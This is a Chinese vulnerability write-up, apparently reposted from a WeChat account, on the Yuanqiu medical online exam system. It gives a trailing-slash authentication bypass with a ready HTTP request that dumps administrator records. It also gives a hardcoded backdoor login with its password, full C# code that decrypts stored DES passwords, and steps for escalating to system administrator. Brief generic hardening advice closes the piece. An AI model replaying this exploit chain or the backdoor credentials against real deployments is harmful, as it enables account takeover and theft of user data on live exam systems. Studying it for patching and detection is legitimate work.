免责声明:任何未经授权的黑客行为都是违法的。该文章仅用于网络安全教学,以便我们可以保护自己免受真正的黑客攻击。请遵守相关法律法规,严禁用于非法途径。
漏洞影响版本 <= V 3.26.9
鉴权绕过
存在绕过的路径YQExam.Web.Filter.AuthorValid.AuthorValid
假如路径以".aspx",".ascx",".ashx"结尾会进入权限判断,但"/Default.aspx","Register.aspx"等除外
if (absolutePath.EndsWith(".aspx", StringComparison.CurrentCultureIgnoreCase) || absolutePath.EndsWith(".ascx", StringComparison.CurrentCultureIgnoreCase) || absolutePath.EndsWith(".ashx", StringComparison.CurrentCultureIgnoreCase))
{
if (absolutePath.EndsWith("/Default.aspx", StringComparison.CurrentCultureIgnoreCase) || absolutePath.EndsWith("/Register.aspx", StringComparison.CurrentCultureIgnoreCase) || absolutePath.EndsWith("/MediaFile.aspx", StringComparison.CurrentCultureIgnoreCase) || absolutePath.EndsWith("/Login.aspx", StringComparison.CurrentCultureIgnoreCase))
{
return;
}
这里可以结尾使用"/"可以绕过
权限绕过读取密码
密码读取路径: YQExam.Web.Manager.Ajax.User
这里通过oper参数值来确定操作类型,这里主要是getManagerList
和getUserList
来获取用户信息
这段代码判断当前登录状态,假如不是系统管理员登录状态,则只能获取普通管理员的信息
if (!ManagerBll.IsAdmin(PageClass.getCurrAdminId("")))
{
text2 += " AND Admininfo.intAdminType=0";
}
构造poc
POST /Manage/Ajax/User.ashx/ HTTP/1.1
Host: 127.0.0.1:8002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
oper=getManagerList&name=&code=&depart=&page=1&rows=15
密码解密
登录时会判断用户类型
我这代码是3.25版本,在该版本之前代码中有个内置账号YuanqiuExam/1398311407513708315661
会直接以系统管理员权限登录
登录主要代码,发现密码为DES加密
dataTable = SqliteHelper.Query("SELECT * FROM AdminInfo WHERE rn IFNULL(lngDeleteOperatorId,0) = 0 AND LOWER(strOperatorName)=LOWER(@strOperatorName) AND strPassword=@strPassword LIMIT 0,1", new SQLiteParameter[]
{
new SQLiteParameter("@strOperatorName", strAdminName),
new SQLiteParameter("@strPassword", DES.EncryptPassword(strPassword))
});
跟进DES加密文件发现已经写好了加密和解密的函数
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace YQExam.Common.Crypt
{
public sealed class DES
{
static void Main(string[] args)
{
// Console.WriteLine(DES.EncryptPassword("kw666666"));
Console.WriteLine("输入密文:");
string text = Console.ReadLine();
Console.WriteLine(DES.Decrypt1(text, "df6dsf5s", 69));
}
private static string Decrypt1(string strData, string strKey, int mintSubKey)
{
while (strKey.Length < 8)
{
strKey += "";
}
string result;
try
{
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
byte[] bytes = Encoding.Default.GetBytes(strKey);
byte[] array = new byte[strData.Length / 2];
for (int i = 0; i < strData.Length / 2; i++)
{
int num = Convert.ToInt32(strData.Substring(i * 2, 2), 16);
array[i] = (byte)(num ^ mintSubKey);
}
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, bytes), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
cryptoStream.Close();
result = Encoding.Default.GetString(memoryStream.ToArray());
}
catch
{
result = "";
}
return result;
}
private const int intSubKey = 63;
}
}
纵向越权
在YQExam.Web.Manager.Ajax.User
中存在编辑管理员的功能,且intAdminType可控,当intAdminType值为1则当前用户为系统管理员,0为普通管理员。
这段代码会判断当前登录用户的lngCreateOperatorId
和txtManagerId
值,如果传入的txtManagerId
空则添加一个用户,否则将修改lngOperatorID
值所对应的用户信息
跟进ManagerBll.Add方法发现会对传入的值进行的校验,如果lngCreateOperatorId
值为0或未登录则会添加用户失败
这里使用之前读取密码的漏洞随便登录一个普通管理员,使用普通管理员登陆后的cookie即可纵向越权添加管理员账号。
要防止任意用户登录并越权添加系统管理员,可以采取以下措施:
-
强化密码策略:要求用户设置复杂且难以猜测的密码,并定期更换密码。同时,启用密码策略,限制密码的长度、复杂度等,以增加破解密码的难度。
-
限制用户权限:根据用户的实际需求,为其分配适当的权限。避免赋予普通用户管理员权限,以减少潜在的安全风险。
-
访问控制:实施严格的访问控制策略,限制用户对系统管理员账户的访问。例如,使用防火墙、入侵检测系统等工具,监控和阻止未经授权的访问尝试。
-
监控和审计:定期对系统进行监控和审计,及时发现异常登录和操作。记录用户的登录历史和操作记录,以便在发生安全事件时进行追溯和分析。
-
强化身份验证:使用多因素身份验证,如动态令牌、短信验证等,提高登录的安全性。同时,定期对用户身份进行验证,确保用户身份的真实性。
-
定期更新和修补系统:及时更新系统和应用程序,以修复已知的安全漏洞。定期修补系统漏洞,防止黑客利用漏洞进行攻击。
-
实施安全培训:对员工进行安全培训,提高他们的安全意识。让他们了解如何识别和应对潜在的安全威胁,以及如何报告可疑活动。
原文始发于微信公众号(雾都的猫):远秋医学在线考试系统任意用户登录和越权漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论